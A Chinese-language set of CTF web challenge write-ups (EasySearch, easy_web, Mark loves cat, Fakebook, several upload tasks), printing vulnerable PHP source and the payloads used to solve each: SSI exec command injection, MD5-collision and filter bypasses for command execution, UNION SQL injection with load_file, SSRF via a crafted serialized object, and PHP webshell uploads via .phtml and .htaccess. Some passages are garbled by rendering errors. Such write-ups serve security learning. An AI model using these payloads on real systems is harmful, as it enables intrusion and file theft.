[BJDCTF2020]EasySearch
在首界面审查源代码、抓包未获取到有效信息,就开始进行目录扫描,获取到index.php.swp文件
<?php ob_start(); function get_hash(){ $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times $content = uniqid().$random; return sha1($content); } header("Content-Type: text/html;charset=utf-8"); *** if(isset($_POST['username']) and $_POST['username'] != '' ) { $admin = '6d0bc1'; if ( $admin == substr(md5($_POST['password']),0,6)) { echo "<script>alert('[+] Welcome to manage system')</script>"; $file_shtml = "public/".get_hash().".shtml"; $shtml = fopen($file_shtml, "w") or die("Unable to open file!"); $text = ' *** *** <h1>Hello,'.$_POST['username'].'</h1> *** ***'; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..."; } else { echo "<script>alert('[!] Failed')</script>"; }else { *** } *** ?>分析源代码发现password进行md5加密后前六位需要与’6d0bc1’相同,那就只能采取脚本或从自身收藏的md5值中搜索来获取目的字符
脚本
from hashlib import md5 for i in range(10000000): if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1': print(i)抓包看响应包头文件,或者直接看网络,发现一个url。
看到shtml想到Apache SSI 远程命令执行漏洞
shtml是一种用于SSI技术的文件——Server Side Include–SSI。
SSI是为WEB服务器提供的一套命令,这些命令只要直接嵌入到HTML文档的注释内容之中即可。
然后利用shtml的命令执行,可控参数是username
payload
username=<!--#exec cmd="ls ../"-->&password=9162671注意这里需要重新登录,每次的shtml的名称都不一样
flag_990c66bf85a09c664f0b6741840499b2 index.php index.php.swp public
payload
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=9162671[安洵杯 2019]easy_web
看到payload:?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
发现为base64加密,两次解密为 3535352e706e67
hex解密 555.png
现在已经知道img处的值为base64加密两次,然后hex解密一次。
反向推出index.php的payload:?img=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3&cmd=
元素中找到加密php代码(这里因该能想到的,图片)
解码
<?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img']))); $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) { echo '<img src ="./ctf3.jpeg">'; die("xixi~ no flag"); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>"; echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?>过滤了ls,使用dir
我们发现禁用了tac nl more less head tail cat od 等一些可以读取文件内容的关键字,注意看后面的||\|,我们都知道在php中正则过滤反斜杠要写四个\字符,因为会经过两次解析,一次php解析器的解析,另一次是正则表达式的解析。\,先经过php的解析成\,再经过正则表达式的解析成\,但是前面又多了一个\,经过php的解析成\,|这个字符在正则中是保留字符,所以可以转义,再经过正则的解析时\会与后面的|一起解析成|,问题就出现在这一块,整个来看,先经过php的解析成|||,再经过正则的解析成|||,所以最后匹配的是|\而不是\,所以我们可以用反斜杠绕过
这里的MD5得使用强绕过,不能使用数组绕过,因为这里使用了String强转换,数组都被强制转换为了string(5) “Array”
这里的payload
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2payload:cmd=l\s%20/ / cmd=ca\t%20/f\l\a\g
这里我卡一个晚上,差点因为环境问题崩溃了
[BJDCTF2020]Mark loves cat
打开网站看到的是一个个人博客,这种常规的 类似实战题目 先扫描目录看看
看到了一个 .git 泄露和robots(打开并没有什么用)
githack看能不能扒下源码
flag.php 是存在的 ,不过不能确定 /flag 在哪里
index
<?php include 'flag.php'; $yds = "dog"; $is = "cat"; $handsome = 'yds'; foreach($_POST as $x => $y){ $$x = $y; } foreach($_GET as $x => $y){ $$x = $$y; } foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ exit($handsome); } } if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($is); } echo "the flag is: ".$flag;我们要想绕过 需要
- get中参数必须含有 $ x 同时 $ x不能含有flag
- 存在get参数 或者 存在post参数
- post参数恒等于 flag 或者 get参数恒等于 flag
当我们到达最后的时候fal也被重置了
避免429 Too Many Requests
python39 .\dirsearch.py -e * -u https://eci-2ze459sqcn2mynux7108.cloudeci1.ichunqiu.com:80/ -t 1 --timeout=2 -x 400,403,404,500,503,429
可变变量:如果一个变量保存的值刚好是另外一个变量的名字,那么可以直接通过访问一个变量得到另外一个变量的值:在变量之前再多加一个 $ 符号
$ a = ‘b’;
$b = ‘bb’;
echoKaTeX parse error: Can't use function '$' in math mode at position 23: … 输出 bb 1.找到 $̲a,解析结果:b 2.找…x就相当于是( ((x)
法一
我们可以利用 foreach 进行变量重覆盖
在这一关可以执行输出内容地方有两个函数 exit 和 echo
第二个 exit——覆盖 yds
我们的思路就是让flag变量覆盖到yds上,在执行exit($yds);
的时候输出flag
payload
?yds=flag
我们进行get传参的时候,会执行
foreach($ _GET as $x => $y){
x = x =x=y; //GET型变量重新赋值为当前文件变量中以其值>为键名的值
}
他输出y d s 。我们只需让 yds。我们只需让yds。我们只需让yds=f l a g 就好了由于我们输入的变量是 y d s = f l a g 所以 flag就好了 由于我们输入的变量是yds=flag 所以flag就好了由于我们输入的变量是yds=flag所以x=yds $y=flag
x = x =x=y 所以y d s = yds=yds=flag
flag变量就是 我们要的东西
exit( $yds)。就是echo $flag。
法二
覆盖 is
·payload·
?is=flag&flag=flag
前半段和前面的方法原理相同,让flag覆盖is
后面的flag=flag—>$ flag=f l a g 目的是为了符合第一个 i f 需求:( flag 目的是为了符合第一个if需求:(flag目的是为了符合第一个if需求:(_POST[‘flag’] === ‘flag’ || $_GET[‘flag’] === ‘flag’)
进而输出 flag
法三
覆盖handsome
构造payload:
?handsome=flag&flag=x&x=flag
handsome=flag不用说 就是让$ handsome= $flag
后面的目的就是让我们传入的变量是 flag 值不是flag 进而能够exit handsome
[WUSTCTF2020]朴实无华
环境,什么信息都拿不到,需要我们进行目录扫描了
打开robots文件
bp抓包看看有什么东西漏了
拿到源码 不过是乱码,我们改变编码方式
<img src="/img.jpg"> <?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__); //level 1 if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); }代码审计
要进行三次绕过
intval() 函数用于获取变量的整数值。(强制转换)
第一个,要让 num<2020 num+1>2021
这里要用到 intval
如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值而对于科学计数法+数字则会返回字符串类型(只适用php7.0以下的版本)
所以我们可以构造:2e5
第二个,要求 本身和其MD5值相同
md5=0e215962017
第三个,我们进行绕过
?mun=2e5&md5=0e215962017&get_flag=ls
str_ireplace(find,replace,string,count)
str_ireplace() 函数替换字符串中的一些字符
参数 描述
find 必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string 必需。规定被搜索的字符串。
count 可选。一个变量,对替换数进行计数。
str_ireplace(“cat”, “wctf2020”, $ get_flag);
这里的cat被过滤掉了
strstr( $ get_flag," "):用于判断字符串空格是否是$ get_flag的子串(过滤空格)
payload:
/fl4g.php?num=2e4&md5=0e215962017&get_flag=ls
num=2e4&md5=0e215962017&get_flag=tac$ IFS $9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[CISCN2019 华北赛区 Day2 Web1]Hack World
搜索框输入1或2会返回结果,其他都返回bool(false)。过滤了union、and、or、空格等,包括/**/,后来看源码知道是过滤了*。
有意思的是输入1/1时会正常返回结果,可以判断这是数字型的sql注入
Fuzz测试过滤了哪些字符,使用中括号()代替空格
常规盲注测试,都无需查库查表查字段了,都给出来,直接查flag内容
[网鼎杯 2018]Fakebook
发现了flag.php,然后我们显示访问robots.txt,然后发现有一个user.php.bak的备份文件,我们直接访问,然后下载下来
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }有一个UserInfo的类,类中有三个公共的类变量:name,age,blog。一个构造方法,一个get方法。主要的工作应该是建立会话,
然后判断是否是有效的请求,如果不是则返回404,如果不是则返回url的内容,一个getBlogContents方法,返回一个url的内容
还有一个isValidBlog验证这是否是一个有效的blog地址,看大佬博客说,这段正则好像url中有.就可以匹配。
get方法中,curl_exec()如果使用不当就会导致ssrf漏洞。有一点思路了,而我们在御剑扫到了flag.php。猜测可能flag.php处于内网,
如果用ssrf访问flag.php,可以用伪协议file://var/www/html/flag.php访问。
我们先回到首页,点join注册一个账号
点进入,发现no这个地方可以注入,于是拿去sqlmap上跑一手,发现没有跑出来。
于是尝试手工注入:
?no = 1 and 1=1 //回显正常
?no = 1 and 1=2 //错误回显
铁定数字型注入,于是我们看看表中有多少列,确定一下列数,
?no = 1 order by 3 //正常
?no = 1 order by 4 //正常
?no = 1 order by 5 //错误
所以确定列数,有4列
于是我们尝试union联合注入:
?no = -1 union select 1,2,3,4–+
可以用过union/**/select绕过
于是我们再次构造payload:
?no = -1//union//select 1,2,3,4–+
回显位是username,然后还发现了一下错误信息,/var/www/html/view.php刚才扫目录得知flag.php也在这个目录中。
然后我们开始查数据库和数据库信息
?no=-1//union//select 1,database(),3,4–+ //数据库名
?no=-1//union//select 1,user(),3,4–+ //数据库信息
那load_file()函数可以利用绝对路径去加载一个文件,于是我们利用一下
load_file(file_name):file_name是一个完整的路径,于是我们直接用var/www/html/flag.php路径去访问一下这个文件,查看源码
?no=-1//union//select 1,load_file(“/var/www/html/flag.php”),3,4–+
接着爆数据库表:
?no=-1//union//select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()–+
然后爆字段名:
?no=-1//union//select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘users’–+
这里面no,username,password我们都知道是什么,就data有点猫腻,于是我们查看它一下,于是我们爆data内容:
no=-1//union//select 1,group_concat(data),3,4 from users
是个序列化后的UserInfo对象,这和我们最开始得到的user.php.bak文件有关系了。
在这里我们是不是可以利用一下呢?于是我们对这个序列化后的内容稍作改动
O:8:“UserInfo”:3:{s:4:“name”;s:5:“admin”;s:3:“age”;i:19;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}
然后构造payload:
?no=-1//union//select 1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:5:“admin”;s:3:“age”;i:19;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}’
然后我们查看源码,发现读出来的数据,base64解密获得flag
[ACTF2020 新生赛]Upload
随便上传一张图片,如下可得图片上传保存的地址,试着上传php一句话马文件,出现只能上传图片
Burp抓包发现,对文件格式只在前台验证好办多了,思路:先上传一张一句话马图片,抓包将图片尾缀改为php文件,发现原来不仅在前台校验,后台也做了校验。
可以创建一个test.phtml文件。对.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。将以下代码写入该文件中。
删除前台点击校验文件事件,上传含一句话木马的.phtml文件。发现成功上传。
在抓包数据里面进行修改文件后缀将flag.jpg修改为flag.phtml 记住原文件不要动只在数据包里面修改,不然的话是绕不过的
[极客大挑战 2019]Upload
这题比上一题多了一个文件头校验少了前端校验
上传成功之后,没有给我们具体的存储位置,我们猜测应该是存在/upload的路径之下
[GXYCTF2019]BabyUpload
.htaccess配置文件特性
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
.htaccess配置文件格式
<FileMatch "xxx.jpg> SetHandler application/x-httpd-php
创建.htaccess配置文件
SetHandler application/x-httpd-php
Kali创建txt文件输入上面的配置命令,并将其命名为111.jpg文件
这里猜测.htaccess文件被过滤 所以不能直接上传.htaccess配置文件 先截断数据包再把上传的111.jpg文件更名为.htaccess文件
上传成功 现在我们的jpg一句话木马文件就可以当作PHP代码来执行了
上传成功 访问上传路径链接,并未呈现图片格式 访问成功